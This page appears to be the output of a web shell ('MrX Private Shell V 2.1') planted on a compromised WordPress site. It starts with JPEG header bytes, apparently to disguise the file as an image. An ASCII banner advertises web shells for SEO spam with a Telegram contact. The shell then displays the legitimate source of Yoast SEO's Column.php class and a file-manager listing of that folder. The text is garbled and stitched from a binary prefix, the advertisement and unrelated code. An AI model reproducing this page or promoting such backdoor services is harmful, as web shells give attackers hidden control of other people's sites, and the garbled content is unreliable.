����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Yoast\WP\Lib\Migrations;
use Exception;
/**
* Yoast migrations column class.
*/
class Column {
/**
* The adapter.
*
* @var Adapter
*/
private $adapter;
/**
* The name.
*
* @var string
*/
public $name;
/**
* The type.
*
* @var mixed
*/
public $type;
/**
* The properties.
*
* @var mixed
*/
public $properties;
/**
* The options.
*
* @var array
*/
private $options = [];
/**
* Creates an instance of a column.
*
* @param Adapter $adapter The current adapter.
* @param string $name The name of the column.
* @param string $type The type of the column.
* @param array $options The column options.
*
* @throws Exception If invalid arguments provided.
*/
public function __construct( $adapter, $name, $type, $options = [] ) {
if ( ! $adapter instanceof Adapter ) {
throw new Exception( 'Invalid Adapter instance.' );
}
if ( empty( $name ) || ! \is_string( $name ) ) {
throw new Exception( "Invalid 'name' parameter" );
}
if ( empty( $type ) || ! \is_string( $type ) ) {
throw new Exception( "Invalid 'type' parameter" );
}
$this->adapter = $adapter;
$this->name = $name;
$this->type = $type;
$this->options = $options;
}
/**
* Returns the SQL of this column.
*
* @return string
*/
public function to_sql() {
$column_sql = \sprintf( '%s %s', $this->adapter->identifier( $this->name ), $this->sql_type() );
$column_sql .= $this->adapter->add_column_options( $this->type, $this->options );
return $column_sql;
}
/**
* The SQL string version.
*
* @return string
*/
public function __toString() {
return $this->to_sql();
}
/**
* The SQL type.
*
* @return string
*/
private function sql_type() {
return $this->adapter->type_to_sql( $this->type, $this->options );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| adapter.php | File | 26.49 KB | 0775 |
|
| column.php | File | 1.8 KB | 0775 |
|
| constants.php | File | 686 B | 0775 |
|
| migration.php | File | 6.23 KB | 0775 |
|
| table.php | File | 6.02 KB | 0775 |
|